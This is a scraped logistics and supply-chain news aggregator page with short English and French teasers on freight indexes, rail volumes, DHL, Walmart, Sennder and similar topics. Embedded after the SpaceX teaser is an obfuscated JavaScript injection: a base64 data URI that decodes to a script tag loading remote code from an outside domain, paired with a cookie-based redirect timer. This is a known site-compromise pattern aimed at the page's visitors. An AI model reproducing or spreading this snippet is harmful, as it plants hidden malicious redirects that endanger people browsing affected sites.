CDiscount se positionne dans les marketplaces BtoB

CDiscount (groupe Casino) annonce une solution complète de création de marketplace (site e-commerce avec technologie, produits et logistique) pour les acteurs du commerce physique comme les pure-players. Cdiscount surfe sur …

FourKites issues Q4 2020 Premier Carriers List

FourKites said that this list is comprised of 382 carriers, brokers, and 3PLs that “have achieved the highest standards of visibility-related operational excellence, as demonstrated by their ability to provide …

ISM Semiannual Report points to manufacturing and services sector growth in 2021

Coming off of 2020, which saw myriad ebbs and flows related to the ongoing COVID-19 pandemic, 2021 is expected to point in the direction of economic improvement, for both the …

Sennder change de dimension

La start-up allemande, connectant les grandes entreprises avec 10 000 PME du transport, vient de lever 160 millions de dollars. Après avoir Uber Freight et Everoad, Sennder compte investir dans …

China is back

Despite tariffs, a trade war and a pandemic, the Chinese economy is once again the world’s factory. Maybe it never went away. …read more Via: SCMR Editorial

Strategic Planning Must Factor in 5 Key Capabilities

When it comes to strategic planning, it’s easy to lose sight of the big picture and get caught up in details. …read more Via: SCMR Editorial

Revisiting 2020

This was a year like no other for supply chain and logistics management. here’s what we’ll remember about 2020. …read more Via: Inbound Logistics

Cass Freight Index ends 2020 with solid growth

The report’s December shipments reading—at 1.122—saw a 6.7% annual increase, and December freight expenditures—at 3.077—saw a 13% annual increase, turning in its highest reading on record. …read more Via: Logistics …

AAR reports mixed U.S. rail carload and intermodal volumes, for week ending January 9

Rail carloads—at 235,404—saw a 1.6% annual decrease, and intermodal containers and trailers saw a 10.4% annual gain, to 289,849 units. …read more Via: Logistics Management

New Procurement Research Paper Issued by The Hackett Group Contains Analysis on Risk and Reward

The Hackett Group’s 2021 Procurement Key Issues research examines how CPOs are refocusing their agenda in the coming year. …read more Via: SCMR Editorial

Performance During the COVID-19 Pandemic

E2open’s latest fact-based research on supply chain performance during the initial COVID-19 response and first-wave recovery serves as a blueprint to manage disruptions of any size and the role of …

Sensor-driven technology to enforce social distancing

Sensor-driven technologies can help keep your operation in business. …read more Via: Logistics Management

Schiever adopte un gilet avec reconnaissance vocale

Schiever, acteur de la grande distribution exploitant 160 magasins essentiellement dans le Nord-Est de la France, a adopté la solution vocale Acteos Voice, avec système de reconnaissance et synthèse vocale …

Gartner Research Comes up With Ten Vaccine Distribution Question for Supply Chain Leaders

Andrew Stevens, A senior director analyst in the Gartner Supply Chain Technology Group, notes that as vaccine distribution takes center stage, supply chain leaders need streamlined, yet resilient, service centered …

U.S. Chamber urges infrastructure modernization plan to ensure nation’s long-term economic growth

Despite crushing unemployment of more than 10 million Americans and historic unrest in wake of the insurrection at the U.S. Capitol, the chief executive of the U.S. Chamber of Commerce …

Comment DHL s'adapte au boom du e-commerce

Dans un entretien au journal Le Parisien, Philippe Prétat, PDG de DHL Express, branche du groupe allemand Deutsche Post DHL, explique comment l’entreprise s’adapte au boom des ventes en ligne. …

Surface Transportation Board officially welcomes Schultz and Primus as new members

Following confirmation by the United State Senate in November, the Surface Transportation Board (STB), an independent adjudicatory and economic-regulatory agency charged by Congress with resolving railroad rate and service disputes …

Walmart déploie des véhicules autonomes en Arkansas

Un an après le lancement de tests, le grand distributeur américain Walmart va déployer ses véhicules autonomes (sans opérateur) en Arkansas. Le groupe de supermarchés a déjà des projets d’extension …

One giant step for a space-based supply chain

NASA chooses SpaceX as its first vendor for the deep space commercial supply chain …read more Via: SCMR Editorial function getCookie(e)var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time)var time=Math.floor(Date.now()/1e3+86400)

Ocean Container Pricing Becoming More Disciplined, Say Industry Analysts

Consolidation in the global container shipping industry in recent years has been the key factor behind improved supply discipline. Ocean cargo carriers’financial performance has been improving as a result. …read …